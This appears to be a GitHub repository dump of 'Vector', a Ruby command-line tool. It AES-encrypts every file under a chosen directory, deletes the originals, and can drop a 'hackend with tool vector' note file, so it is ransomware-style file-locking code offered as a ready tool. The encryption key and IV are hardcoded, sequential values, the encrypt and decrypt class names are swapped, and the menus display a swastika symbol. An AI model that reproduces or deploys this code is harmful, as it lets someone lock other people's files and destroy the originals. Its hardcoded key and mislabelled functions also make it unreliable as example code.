├── README.md ├── lib ├── Decrypt.rb ├── Encrypt.rb └── colorama.rb └── main.rb /README.md: -------------------------------------------------------------------------------- 1 | ## PreView 2 |
 3 | 
 4 | ██╗░░░██╗███████╗░█████╗░████████╗░█████╗░██████╗░
 5 | ██║░░░██║██╔════╝██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
 6 | ╚██╗░██╔╝█████╗░░██║░░╚═╝░░░██║░░░██║░░██║██████╔╝
 7 | ░╚████╔╝░██╔══╝░░██║░░██╗░░░██║░░░██║░░██║██╔══██╗
 8 | ░░╚██╔╝░░███████╗╚█████╔╝░░░██║░░░╚█████╔╝██║░░██║
 9 | ░░░╚═╝░░░╚══════╝░╚════╝░░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝ 
10 | Ver 2.0
11 | 
12 | 	[卐] Choose one of the options below 
13 | 
14 | 	[1] Decrypt 
15 | 
16 | 	[2] Encrypt 
17 | 
18 | 	[3] Exit 
19 | 
20 |  ┌─[Vector~ #Menu]
21 |  └╼ 卐 
22 | 
23 | 
24 | ## Operating Systems Tested 25 | - Kali Linux 2020.1 26 | - Windows 10 27 | - Ubuntu 20.04 28 | 29 | 30 | ## Install 31 | ```bash 32 | git clone https://github.com/nimacpp/vector.git 33 | gem install chilkat 34 | cd vector 35 | ruby main.rb 36 | ``` 37 | ## if can't install lib 38 | Go to website and install the version you need 39 | -website : https://www.chilkatsoft.com/ruby.asp 40 | ### Contact us 41 | - mail : https://Nima.cpp@outlook.com 42 | 43 | -------------------------------------------------------------------------------- /lib/Decrypt.rb: -------------------------------------------------------------------------------- 1 | require 'chilkat' 2 | require_relative 'colorama.rb' 3 | class Dec 4 | 5 | @ivHex = "000102030405060708090A0B0C0D0E0F" 6 | @keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F" 7 | 8 | def cry(inFile) 9 | crypt = Chilkat::CkCrypt2.new() 10 | crypt.put_CryptAlgorithm("aes") 11 | crypt.put_CipherMode("cbc") 12 | crypt.put_KeyLength(256) 13 | crypt.put_PaddingScheme(0) 14 | crypt.SetEncodedIV(@ivHex,"hex") 15 | crypt.SetEncodedKey(@keyHex,"hex") 16 | outFile = inFile+"n" 17 | success = crypt.CkEncryptFile(inFile,outFile) 18 | 19 | File.delete(inFile) if File.exist?(inFile) 20 | if (success != true) 21 | print crypt.lastErrorText()+"\n".red; 22 | else 23 | puts "[+] success ... complete #{inFile}".green 24 | 25 | end 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /lib/Encrypt.rb: -------------------------------------------------------------------------------- 1 | require 'chilkat' 2 | require_relative 'colorama.rb' 3 | class Enc 4 | @ivHex = "000102030405060708090A0B0C0D0E0F" 5 | @keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F" 6 | 7 | def dec(inFile) 8 | if inFile[-1] == 'n' 9 | decrypt = Chilkat::CkCrypt2.new() 10 | 11 | decrypt.put_CryptAlgorithm("aes") 12 | decrypt.put_CipherMode("cbc") 13 | decrypt.put_KeyLength(256) 14 | decrypt.put_PaddingScheme(0) 15 | decrypt.SetEncodedIV(@ivHex,"hex") 16 | decrypt.SetEncodedKey(@keyHex,"hex") 17 | # ----------------------------------- 18 | outFile = inFile[0..-2] 19 | success = decrypt.CkDecryptFile(inFile,outFile) 20 | File.delete(inFile) if File.exist?(inFile) 21 | if (success == false) 22 | print decrypt.lastErrorText() + "\n".red; 23 | else 24 | puts "[+] success ... complete #{inFile}".green 25 | end 26 | else 27 | puts "[-] Error encrypt ... #{inFile}".red 28 | end 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /lib/colorama.rb: -------------------------------------------------------------------------------- 1 | class String 2 | def black; "\e[30m#{self}\e[0m" end 3 | def red; "\e[31m#{self}\e[0m" end 4 | def green; "\e[32m#{self}\e[0m" end 5 | def brown; "\e[33m#{self}\e[0m" end 6 | def blue; "\e[34m#{self}\e[0m" end 7 | def magenta; "\e[35m#{self}\e[0m" end 8 | def cyan; "\e[36m#{self}\e[0m" end 9 | def gray; "\e[37m#{self}\e[0m" end 10 | 11 | def bg_black; "\e[40m#{self}\e[0m" end 12 | def bg_red; "\e[41m#{self}\e[0m" end 13 | def bg_green; "\e[42m#{self}\e[0m" end 14 | def bg_brown; "\e[43m#{self}\e[0m" end 15 | def bg_blue; "\e[44m#{self}\e[0m" end 16 | def bg_magenta; "\e[45m#{self}\e[0m" end 17 | def bg_cyan; "\e[46m#{self}\e[0m" end 18 | def bg_gray; "\e[47m#{self}\e[0m" end 19 | 20 | def bold; "\e[1m#{self}\e[22m" end 21 | def italic; "\e[3m#{self}\e[23m" end 22 | def underline; "\e[4m#{self}\e[24m" end 23 | def blink; "\e[5m#{self}\e[25m" end 24 | def reverse_color; "\e[7m#{self}\e[27m" end 25 | end 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /main.rb: -------------------------------------------------------------------------------- 1 | require 'chilkat' 2 | require_relative 'lib/Encrypt.rb' 3 | require_relative 'lib/Decrypt.rb' 4 | require_relative 'lib/colorama.rb' 5 | system 'clear' 6 | 7 | banner =" 8 | 9 | ██╗░░░██╗███████╗░█████╗░████████╗░█████╗░██████╗░ 10 | ██║░░░██║██╔════╝██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗ 11 | ╚██╗░██╔╝█████╗░░██║░░╚═╝░░░██║░░░██║░░██║██████╔╝ 12 | ░╚████╔╝░██╔══╝░░██║░░██╗░░░██║░░░██║░░██║██╔══██╗ 13 | ░░╚██╔╝░░███████╗╚█████╔╝░░░██║░░░╚█████╔╝██║░░██║ 14 | ░░░╚═╝░░░╚══════╝░╚════╝░░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝".red+" Ver 2.0".green 15 | puts banner+" 16 | 17 | \t[卐] Choose one of the options below".red+" 18 | 19 | \t[1] Decrypt 20 | 21 | \t[2] Encrypt 22 | 23 | \t[3] Banner 24 | 25 | \t[4] Help 26 | 27 | \t[5] developer 28 | 29 | \t[6] Exit 30 | ".brown 31 | 32 | print" ┌─["+"Vector".red+"~ #Menu".green+"] 33 | └╼ 卐 " 34 | 35 | out = gets.chomp 36 | case out 37 | when "1" 38 | system 'clear' 39 | puts banner+" 40 | \n\t Choose Decrypt . [ :q ] To cancel \n".brown+" 41 | [卐] Enter Dirctory . \n".red 42 | 43 | # Decrypt 44 | print" ┌─["+"Vector".red+"~ #Decrypt".green+" Dir:#{Dir.pwd} ] 45 | └╼ 卐 " 46 | input = gets.chomp 47 | if input == ":q" 48 | exit 49 | end 50 | input = Dir[input+'/**/*.*'] 51 | dec = Dec.new 52 | for i in input 53 | dec.cry(i) 54 | end 55 | when "2" 56 | system 'clear' 57 | puts banner+" 58 | \n\t Choose Nncrypt . [ :q ] To cancel \n".brown+" 59 | [卐] Enter Dirctory . \n".red 60 | print" ┌─["+"Vector".red+"~ #Encrypt".green+" Dir:#{Dir.pwd} ] 61 | └╼ 卐 " 62 | input = gets.chomp 63 | if input == ":q" 64 | exit 65 | end 66 | input = Dir[input+'/**/*.*'] 67 | 68 | # Encrypt 69 | dec = Enc.new 70 | for i in input 71 | dec.dec(i) 72 | end 73 | when "3" 74 | system 'clear' 75 | puts banner+" 76 | \n\t Make Banner .\n".brown+" 77 | [卐] Enter Dirctory . \n".red 78 | print" ┌─["+"Vector".red+"~ #Banner".green+"] 79 | └╼ 卐 " 80 | input = gets.chomp 81 | f = File.open(input+"/Readme.txt",'w') 82 | f.puts "---------------------------------------------------" 83 | f.puts banner 84 | f.puts "\nhackend with tool vector .\n" 85 | f.puts "---------------------------------------------------" 86 | f.close 87 | print "Go to menu... ".green 88 | gets 89 | system("ruby main.rb") 90 | when "4" 91 | system 'clear' 92 | puts banner+" 93 | \n\t Help .\n".brown 94 | puts " 95 | To install chilkat lib => "+"https://www.chilkatsoft.com/ruby.asp\n".underline+" 96 | Feed back => "+"github.com/nimacpp\n".underline 97 | print "Go to menu... ".green 98 | gets 99 | system("ruby main.rb") 100 | 101 | when "5" 102 | system 'clear' 103 | puts banner+" 104 | \n\t developer .\n".brown 105 | puts " 106 | \tMade by : Niox Team 107 | \tTeam manager : Nimacpp 108 | \tVersion : 1.3 109 | \tlang : Ruby \n".green 110 | 111 | puts "Go to menu... ".green 112 | gets 113 | system("ruby main.rb") 114 | when "6" 115 | exit 116 | else 117 | puts "Reset ... ".green 118 | gets 119 | system("ruby main.rb") 120 | end 121 | 122 | 123 | --------------------------------------------------------------------------------